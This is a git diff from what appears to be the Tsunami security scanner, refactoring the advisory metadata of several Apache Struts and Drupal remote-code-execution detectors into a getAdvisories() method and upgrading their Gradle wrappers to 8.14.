b/google/detectors/rce/cve20175638/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20175638/ApacheStrutsContentTypeRceDetectorTest.java @@ -30,12 +30,9 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -108,22 +105,7 @@ public void detect_whenWebAppIsVulnerable_reportsVuln() throws IOException { .setNetworkService(httpServices.get(0)) .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("CVE_2017_5638")) - .setSeverity(Severity.CRITICAL) - .setTitle( - "Apache Struts Command Injection via Content-Type header " - + "(CVE-2017-5638)") - .setDescription( - "The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32" - + " and 2.5.x before 2.5.10.1 has incorrect exception handling and" - + " error-message generation during file-upload attempts, which" - + " allows for remote RCE.") - .setRecommendation("Upgrade to Struts 2.3.32 or Struts 2.5.10.1.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/google/detectors/rce/cve20179805/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/cve20179805/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/rce/cve20179805/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/cve20179805/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/cve20179805/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/cve20179805/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/cve20179805/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/cve20179805/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/cve20179805/gradlew b/google/detectors/rce/cve20179805/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/cve20179805/gradlew +++ b/google/detectors/rce/cve20179805/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/cve20179805/gradlew.bat b/google/detectors/rce/cve20179805/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/cve20179805/gradlew.bat +++ b/google/detectors/rce/cve20179805/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/cve20179805/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20179805/ApacheStrutsInsecureDeserializeDetector.java b/google/detectors/rce/cve20179805/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20179805/ApacheStrutsInsecureDeserializeDetector.java index 6f21a2020..30bbeb636 100644 --- a/google/detectors/rce/cve20179805/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20179805/ApacheStrutsInsecureDeserializeDetector.java +++ b/google/detectors/rce/cve20179805/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20179805/ApacheStrutsInsecureDeserializeDetector.java @@ -91,6 +91,25 @@ public final class ApacheStrutsInsecureDeserializeDetector implements VulnDetect this.payloadFormatString = payloadFormatString; } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2017_9805")) + .setSeverity(Severity.CRITICAL) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2017-9805")) + .setTitle("Apache Struts Command Injection via Unsafe Deserialization (CVE-2017-9805)") + .setDescription( + "The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x" + + " before 2.5.13 uses an XStreamHandler with an instance of XStream for" + + " deserialization without any type filtering, which can lead to Remote Code" + + " Execution when deserializing XML payloads.") + .setRecommendation("Upgrade to Struts 2.5.13 or Struts 2.3.34.") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -173,19 +192,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2017_9805")) - .setSeverity(Severity.CRITICAL) - .setTitle( - "Apache Struts Command Injection via Unsafe Deserialization (CVE-2017-9805)") - .setDescription( - "The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x" - + " before 2.5.13 uses an XStreamHandler with an instance of XStream for" - + " deserialization without any type filtering, which can lead to Remote" - + " Code Execution when deserializing XML payloads.") - .setRecommendation("Upgrade to Struts 2.5.13 or Struts 2.3.34.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/rce/cve20179805/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20179805/ApacheStrutsInsecureDeserializeDetectorTest.java b/google/detectors/rce/cve20179805/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20179805/ApacheStrutsInsecureDeserializeDetectorTest.java index ade547696..2283699b8 100644 --- a/google/detectors/rce/cve20179805/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20179805/ApacheStrutsInsecureDeserializeDetectorTest.java +++ b/google/detectors/rce/cve20179805/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20179805/ApacheStrutsInsecureDeserializeDetectorTest.java @@ -31,12 +31,9 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -110,23 +107,7 @@ public void detect_ifVulnerable_reportsVuln() throws IOException, InterruptedExc .setNetworkService(httpServices.get(0)) .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("CVE_2017_9805")) - .setSeverity(Severity.CRITICAL) - .setTitle( - "Apache Struts Command Injection via Unsafe Deserialization" - + " (CVE-2017-9805)") - .setDescription( - "The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34" - + " and 2.5.x before 2.5.13 uses an XStreamHandler with an" - + " instance of XStream for deserialization without any type" - + " filtering, which can lead to Remote Code Execution when" - + " deserializing XML payloads.") - .setRecommendation("Upgrade to Struts 2.5.13 or Struts 2.3.34.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); // Check that the detector creates and erases the file. diff --git a/google/detectors/rce/cve201811776/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/cve201811776/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/rce/cve201811776/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/cve201811776/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/cve201811776/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/cve201811776/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/cve201811776/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/cve201811776/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/cve201811776/gradlew b/google/detectors/rce/cve201811776/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/cve201811776/gradlew +++ b/google/detectors/rce/cve201811776/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/cve201811776/gradlew.bat b/google/detectors/rce/cve201811776/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/cve201811776/gradlew.bat +++ b/google/detectors/rce/cve201811776/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/cve201811776/src/main/java/com/google/tsunami/plugins/detectors/rce/cve201811776/ApacheStrutsNamespaceRceDetector.java b/google/detectors/rce/cve201811776/src/main/java/com/google/tsunami/plugins/detectors/rce/cve201811776/ApacheStrutsNamespaceRceDetector.java index ab0f5e7a7..5a34e0149 100644 --- a/google/detectors/rce/cve201811776/src/main/java/com/google/tsunami/plugins/detectors/rce/cve201811776/ApacheStrutsNamespaceRceDetector.java +++ b/google/detectors/rce/cve201811776/src/main/java/com/google/tsunami/plugins/detectors/rce/cve201811776/ApacheStrutsNamespaceRceDetector.java @@ -102,6 +102,27 @@ public final class ApacheStrutsNamespaceRceDetector implements VulnDetector { this.payloadEncoded = URLEncoder.encode(PAYLOAD_STRING, UTF_8.toString()); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2018_11776")) + .setSeverity(Severity.CRITICAL) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2018-11776")) + .setTitle("Apache Struts Command Injection via Namespace (CVE-2018-11776)") + .setDescription( + "Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible" + + " Remote Code Execution when alwaysSelectFullNamespace is true (either by" + + " user or a plugin like Convention Plugin) and then: results are used with" + + " no namespace and in same time, its upper package have no or wildcard" + + " namespace and similar to results, same possibility when using url tag which" + + " doesn't have value and action set and in same time, its upper package have" + + " no or wildcard namespace.") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -157,20 +178,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2018_11776")) - .setSeverity(Severity.CRITICAL) - .setTitle("Apache Struts Command Injection via Namespace (CVE-2018-11776)") - .setDescription( - "Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible" - + " Remote Code Execution when alwaysSelectFullNamespace is true (either" - + " by user or a plugin like Convention Plugin) and then: results are used" - + " with no namespace and in same time, its upper package have no or" - + " wildcard namespace and similar to results, same possibility when using" - + " url tag which doesn't have value and action set and in same time, its" - + " upper package have no or wildcard namespace.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/rce/cve201811776/src/test/java/com/google/tsunami/plugins/detectors/rce/cve201811776/ApacheStrutsNamespaceRceDetectorTest.java b/google/detectors/rce/cve201811776/src/test/java/com/google/tsunami/plugins/detectors/rce/cve201811776/ApacheStrutsNamespaceRceDetectorTest.java index 7cbe9e4d0..3c938b3db 100644 --- a/google/detectors/rce/cve201811776/src/test/java/com/google/tsunami/plugins/detectors/rce/cve201811776/ApacheStrutsNamespaceRceDetectorTest.java +++ b/google/detectors/rce/cve201811776/src/test/java/com/google/tsunami/plugins/detectors/rce/cve201811776/ApacheStrutsNamespaceRceDetectorTest.java @@ -236,7 +236,10 @@ private DetectionReport getExpectedDetectionReport(NetworkService service) { .setVulnerability( Vulnerability.newBuilder() .setMainId( - VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2018_11776")) + VulnerabilityId.newBuilder() + .setPublisher("GOOGLE") + .setValue("CVE_2018_11776")) + .addRelatedId(VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2018-11776")) .setSeverity(Severity.CRITICAL) .setTitle("Apache Struts Command Injection via Namespace (CVE-2018-11776)") .setDescription( diff --git a/google/detectors/rce/cve20187600/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/cve20187600/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/rce/cve20187600/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/cve20187600/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/cve20187600/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/cve20187600/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/cve20187600/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/cve20187600/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/cve20187600/gradlew b/google/detectors/rce/cve20187600/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/cve20187600/gradlew +++ b/google/detectors/rce/cve20187600/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/cve20187600/gradlew.bat b/google/detectors/rce/cve20187600/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/cve20187600/gradlew.bat +++ b/google/detectors/rce/cve20187600/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/cve20187600/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20187600/DrupalCve20187600Detector.java b/google/detectors/rce/cve20187600/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20187600/DrupalCve20187600Detector.java index ee5382975..406add93e 100644 --- a/google/detectors/rce/cve20187600/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20187600/DrupalCve20187600Detector.java +++ b/google/detectors/rce/cve20187600/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20187600/DrupalCve20187600Detector.java @@ -78,6 +78,32 @@ public final class DrupalCve20187600Detector implements VulnDetector { this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build(); } + @Override + public ImmutableList getAdvisories() { + TextData details = + TextData.newBuilder() + .setText("The Drupal platform is vulnerable to CVE-2018-7600.") + .build(); + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2018_7600")) + .setSeverity(Severity.CRITICAL) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2018-7600")) + .setTitle("Drupalgeddon 2 Detected") + .setDescription( + "This version of Drupal is vulnerable to CVE-2018-7600. Drupal versions before" + + " 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 are" + + " vulnerable to this vulnerability. Drupal has insufficient input sanitation" + + " on Form API AJAX requests. This enables an attacker to inject a malicious" + + " payload into the internal form structure which would then be executed" + + " without any authentication") + .setRecommendation("Upgrade to Drupal 8.3.9 or Drupal 8.5.1.") + .addAdditionalDetails(AdditionalDetail.newBuilder().setTextData(details)) + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -128,21 +154,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2018_7600")) - .setSeverity(Severity.CRITICAL) - .setTitle("Drupalgeddon 2 Detected") - .setDescription( - "This version of Drupal is vulnerable to CVE-2018-7600. Drupal versions before" - + " 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 are" - + " vulnerable to this vulnerability. Drupal has insufficient input" - + " sanitation on Form API AJAX requests. This enables an attacker to" - + " inject a malicious payload into the internal form structure which would" - + " then be executed without any authentication") - .setRecommendation("Upgrade to Drupal 8.3.9 or Drupal 8.5.1.") - .addAdditionalDetails(AdditionalDetail.newBuilder().setTextData(details))) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/rce/cve20187600/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20187600/DrupalCve20187600DetectorTest.java b/google/detectors/rce/cve20187600/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20187600/DrupalCve20187600DetectorTest.java index d19d19835..31f14ab91 100644 --- a/google/detectors/rce/cve20187600/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20187600/DrupalCve20187600DetectorTest.java +++ b/google/detectors/rce/cve20187600/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20187600/DrupalCve20187600DetectorTest.java @@ -137,12 +137,13 @@ private void verifyVulnerabilityReport( 